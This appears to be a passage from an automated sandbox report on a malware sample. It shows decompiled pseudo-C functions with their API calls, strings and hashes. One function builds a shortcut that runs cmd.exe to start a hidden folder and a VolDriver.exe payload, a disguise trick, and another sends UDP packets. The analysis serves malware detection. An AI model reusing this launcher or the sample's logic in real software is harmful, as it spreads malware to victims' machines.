                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c2d29a5a82f54b7e3925ced9cbd5e66a9b6a409f4fc8df8a086f8b4b12743491
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ffd4236d09b0cc1b61e573669b6e99f642ee8622c30dead1791ce8fa64cf6ba2
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c2d29a5a82f54b7e3925ced9cbd5e66a9b6a409f4fc8df8a086f8b4b12743491
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F211DB0E00318AFDB50DF64DD45BDEBBB4AB09304F1081AAD60DB6281D7785A888F5A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DAC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 68%
                                                                                                                                                                                                                                                                                                                                                      			E0040DAC0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408A10(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408B60(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10);
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408B60(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408B60(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040dac9
                                                                                                                                                                                                                                                                                                                                                      0x0040dace
                                                                                                                                                                                                                                                                                                                                                      0x0040dad0
                                                                                                                                                                                                                                                                                                                                                      0x0040dad3
                                                                                                                                                                                                                                                                                                                                                      0x0040dad9
                                                                                                                                                                                                                                                                                                                                                      0x0040dbda
                                                                                                                                                                                                                                                                                                                                                      0x0040dbe0
                                                                                                                                                                                                                                                                                                                                                      0x0040dafd
                                                                                                                                                                                                                                                                                                                                                      0x0040dafd
                                                                                                                                                                                                                                                                                                                                                      0x0040db06
                                                                                                                                                                                                                                                                                                                                                      0x0040db0d
                                                                                                                                                                                                                                                                                                                                                      0x0040db11
                                                                                                                                                                                                                                                                                                                                                      0x0040db15
                                                                                                                                                                                                                                                                                                                                                      0x0040db17
                                                                                                                                                                                                                                                                                                                                                      0x0040db1e
                                                                                                                                                                                                                                                                                                                                                      0x0040db22
                                                                                                                                                                                                                                                                                                                                                      0x0040db26
                                                                                                                                                                                                                                                                                                                                                      0x0040db2a
                                                                                                                                                                                                                                                                                                                                                      0x0040db2f
                                                                                                                                                                                                                                                                                                                                                      0x0040db3b
                                                                                                                                                                                                                                                                                                                                                      0x0040db40
                                                                                                                                                                                                                                                                                                                                                      0x0040db49
                                                                                                                                                                                                                                                                                                                                                      0x0040db4e
                                                                                                                                                                                                                                                                                                                                                      0x0040db54
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb0
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb1
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb6
                                                                                                                                                                                                                                                                                                                                                      0x0040dbc8
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db68
                                                                                                                                                                                                                                                                                                                                                      0x0040db6e
                                                                                                                                                                                                                                                                                                                                                      0x0040db73
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db7d
                                                                                                                                                                                                                                                                                                                                                      0x0040db83
                                                                                                                                                                                                                                                                                                                                                      0x0040db85
                                                                                                                                                                                                                                                                                                                                                      0x0040db89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db8b
                                                                                                                                                                                                                                                                                                                                                      0x0040db90
                                                                                                                                                                                                                                                                                                                                                      0x0040db95
                                                                                                                                                                                                                                                                                                                                                      0x0040dba7
                                                                                                                                                                                                                                                                                                                                                      0x0040dba7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db89
                                                                                                                                                                                                                                                                                                                                                      0x0040dbaa
                                                                                                                                                                                                                                                                                                                                                      0x0040dbce
                                                                                                                                                                                                                                                                                                                                                      0x0040dbd3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x0040dbaa
                                                                                                                                                                                                                                                                                                                                                      0x0040db54
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DB17
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 0040DB40
                                                                                                                                                                                                                                                                                                                                                      • sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DB68
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7D
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExchangeInterlockedhtonsmemcpysendto
                                                                                                                                                                                                                                                                                                                                                      • String ID: pdu
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2164660128-2320407122
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2f5487a257ea78fc47c3c2aa88cfad0de175958526ee1cb7d071c3feff77e95b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e5113007e974e67825df127a2d5b5685a505e22743b1e83325dad6d2005c263a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2f5487a257ea78fc47c3c2aa88cfad0de175958526ee1cb7d071c3feff77e95b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3031E3766043049FC710DFA9D880A9BB7F4AFC9714F04456EF89897381E67499088BAB
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404CE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94comCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 54%
                                                                                                                                                                                                                                                                                                                                                      			E00404CE0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410330, 0, 1, 0x410320, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x41411c, 0x41411c);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410340,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}









                                                                                                                                                                                                                                                                                                                                                      0x00404ceb
                                                                                                                                                                                                                                                                                                                                                      0x00404cf1
                                                                                                                                                                                                                                                                                                                                                      0x00404d03
                                                                                                                                                                                                                                                                                                                                                      0x00404d09
                                                                                                                                                                                                                                                                                                                                                      0x00404d10
                                                                                                                                                                                                                                                                                                                                                      0x00404d36
                                                                                                                                                                                                                                                                                                                                                      0x00404d50
                                                                                                                                                                                                                                                                                                                                                      0x00404d5d
                                                                                                                                                                                                                                                                                                                                                      0x00404d63
                                                                                                                                                                                                                                                                                                                                                      0x00404d66
                                                                                                                                                                                                                                                                                                                                                      0x00404d76
                                                                                                                                                                                                                                                                                                                                                      0x00404d8b
                                                                                                                                                                                                                                                                                                                                                      0x00404da3
                                                                                                                                                                                                                                                                                                                                                      0x00404daa
                                                                                                                                                                                                                                                                                                                                                      0x00404dc4
                                                                                                                                                                                                                                                                                                                                                      0x00404dd2
                                                                                                                                                                                                                                                                                                                                                      0x00404dd2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404de0
                                                                                                                                                                                                                                                                                                                                                      0x00404de5

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitialize.OLE32(00000000), ref: 00404CEB
                                                                                                                                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00410330,00000000,00000001,00410320,?), ref: 00404D03
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404D36
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • /c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404D2A
                                                                                                                                                                                                                                                                                                                                                      • %windir%\System32\cmd.exe, xrefs: 00404D3F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateInitializeInstancewsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2038452267-2473591295
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c827c54ba181ebdc5ccbdba5ca5e0ecd641aa0d25442cd6d674f17fa5b22de3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f00becdefc90cfbf17efeaf49e2251ef219d43fc4a4b80fc3024d4bdfac9fe3b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c827c54ba181ebdc5ccbdba5ca5e0ecd641aa0d25442cd6d674f17fa5b22de3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8031B879A40108BFCB04DF98C885FDEB7B5EF88704F208199E619A73A1D774AE81CB54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BCC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040BCC0(char _a4) {
				char _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					_t4 =  &_v8; // 0x40eb74
					EnterCriticalSection( *_t4 + 4);
					_v12 = 0;
					while(1) {
						_t8 =  &_v8; // 0x40eb74
						if(_v12 >=  *((intOrPtr*)( *_t8))) {
							break;
						}
						_t10 =  &_v8; // 0x40eb74
						CloseHandle( *( *((intOrPtr*)( *_t10 + 0x1c)) + _v12 * 4));
						_v12 = _v12 + 1;
					}
					_t15 =  &_v8; // 0x40eb74
					LeaveCriticalSection( *_t15 + 4);
					_t16 =  &_v8; // 0x40eb74
					DeleteCriticalSection( *_t16 + 4);
					_t17 =  &_v8; // 0x40eb74
					E00408B60( *((intOrPtr*)( *_t17 + 0x1c)));
					return E00408B60(_a4);
				}
				return _t20;
			}






                                                                                                                                                                                                                                                                                                                                                      0x0040bcca
                                                                                                                                                                                                                                                                                                                                                      0x0040bccf
                                                                                                                                                                                                                                                                                                                                                      0x0040bcd2
                                                                                                                                                                                                                                                                                                                                                      0x0040bcd9
                                                                                                                                                                                                                                                                                                                                                      0x0040bcdf
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf1
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf1
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bcfb
                                                                                                                                                                                                                                                                                                                                                      0x0040bd08
                                                                                                                                                                                                                                                                                                                                                      0x0040bcee
                                                                                                                                                                                                                                                                                                                                                      0x0040bcee
                                                                                                                                                                                                                                                                                                                                                      0x0040bd10
                                                                                                                                                                                                                                                                                                                                                      0x0040bd17
                                                                                                                                                                                                                                                                                                                                                      0x0040bd1d
                                                                                                                                                                                                                                                                                                                                                      0x0040bd24
                                                                                                                                                                                                                                                                                                                                                      0x0040bd2a
                                                                                                                                                                                                                                                                                                                                                      0x0040bd31
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bd42
                                                                                                                                                                                                                                                                                                                                                      0x0040bd48

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(t@), ref: 0040BCD9
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(t@), ref: 0040BD08
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(t@), ref: 0040BD17
                                                                                                                                                                                                                                                                                                                                                      • DeleteCriticalSection.KERNEL32(t@), ref: 0040BD24
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$CloseDeleteEnterHandleLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID: t@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3102160386-2916730932
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a1ab745fad7501da37c197aae5d53699fda19d380a66c4ee372e72496f571e27
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2cc5e102500f812b51bf30b22b1833369305ce7f6dc2cc51e54c9f5ca9737bcf
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a1ab745fad7501da37c197aae5d53699fda19d380a66c4ee372e72496f571e27
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BB110CB4900208EFDB04DFA4D994A9DB7B5FF44309F2081A9E80667341DB39EE91DB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409550 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409550(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				void* _t38;

				if( *0x4156e4 == 0) {
					return __eax;
				}
				_v12 =  *0x4156e4 << 3;
				_t38 = E00408A10(_v12);
				_v8 = _t38;
				if(_v8 != 0) {
					_v20 = 0;
					while(_v20 <  *0x4156e4) {
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v20 * 4)) + 8));
						_v20 = _v20 + 1;
					}
					_v16 = CreateFileW(0x4154a0, 0x40000000, 0, 0, 2, 2, 0);
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0);
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4133b4, 0x3d);
					return E00408B60(_v8);
				}
				return _t38;
			}









                                                                                                                                                                                                                                                                                                                                                      0x0040955d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040956c
                                                                                                                                                                                                                                                                                                                                                      0x00409573
                                                                                                                                                                                                                                                                                                                                                      0x0040957b
                                                                                                                                                                                                                                                                                                                                                      0x00409582
                                                                                                                                                                                                                                                                                                                                                      0x00409588
                                                                                                                                                                                                                                                                                                                                                      0x0040959a
                                                                                                                                                                                                                                                                                                                                                      0x004095b8
                                                                                                                                                                                                                                                                                                                                                      0x004095ce
                                                                                                                                                                                                                                                                                                                                                      0x00409597
                                                                                                                                                                                                                                                                                                                                                      0x00409597
                                                                                                                                                                                                                                                                                                                                                      0x004095ee
                                                                                                                                                                                                                                                                                                                                                      0x004095f5
                                                                                                                                                                                                                                                                                                                                                      0x00409609
                                                                                                                                                                                                                                                                                                                                                      0x00409613
                                                                                                                                                                                                                                                                                                                                                      0x0040961d
                                                                                                                                                                                                                                                                                                                                                      0x0040961d
                                                                                                                                                                                                                                                                                                                                                      0x0040962a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409639
                                                                                                                                                                                                                                                                                                                                                      0x0040963f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(004154A0,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004095E8
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 00409609
                                                                                                                                                                                                                                                                                                                                                      • FlushFileBuffers.KERNEL32(000000FF), ref: 00409613
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040961D
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(004133B4,0000003D), ref: 0040962A
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 442028454-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 44629333c76e7f51d725d9b3129c1665a36dc87bf9941255678efda717a4e509
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2ffc30a578c88fb727a6e2804b49e756420dce523dc86a649cc100c8bc156063
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 44629333c76e7f51d725d9b3129c1665a36dc87bf9941255678efda717a4e509
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1A314BB4A00208EBCB14DF94DD85BEEB7B0FB88300F208569E51567391C779AE41CB58
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00407460 Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 46%
                                                                                                                                                                                                                                                                                                                                                      			E00407460(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040746b
                                                                                                                                                                                                                                                                                                                                                      0x0040746e
                                                                                                                                                                                                                                                                                                                                                      0x0040747a
                                                                                                                                                                                                                                                                                                                                                      0x0040747d
                                                                                                                                                                                                                                                                                                                                                      0x00407489
                                                                                                                                                                                                                                                                                                                                                      0x0040748c
                                                                                                                                                                                                                                                                                                                                                      0x00407498
                                                                                                                                                                                                                                                                                                                                                      0x0040749b
                                                                                                                                                                                                                                                                                                                                                      0x004074a7
                                                                                                                                                                                                                                                                                                                                                      0x004074aa
                                                                                                                                                                                                                                                                                                                                                      0x004074b6
                                                                                                                                                                                                                                                                                                                                                      0x004074bb
                                                                                                                                                                                                                                                                                                                                                      0x004074be
                                                                                                                                                                                                                                                                                                                                                      0x004074cc

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 435966717-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c834da27c38f1d1587680a3d7542820723786c9711e1151820a3c1e6e334eb45
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 51F03172905428AB9710EEEF84424CAF7E6AF883A4B118576F818E3360E9719D1146F2
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DBF0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040DBF0(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E004094F0( *((intOrPtr*)(_t18 + 8)));
						return E00408B60(_t18);
					}
					do {
						E00408B60( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408B60(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040dbf0
                                                                                                                                                                                                                                                                                                                                                      0x0040dbf2
                                                                                                                                                                                                                                                                                                                                                      0x0040dc01
                                                                                                                                                                                                                                                                                                                                                      0x0040dc0d
                                                                                                                                                                                                                                                                                                                                                      0x0040dc17
                                                                                                                                                                                                                                                                                                                                                      0x0040dc1d
                                                                                                                                                                                                                                                                                                                                                      0x0040dc22
                                                                                                                                                                                                                                                                                                                                                      0x0040dc41
                                                                                                                                                                                                                                                                                                                                                      0x0040dc45
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dc53
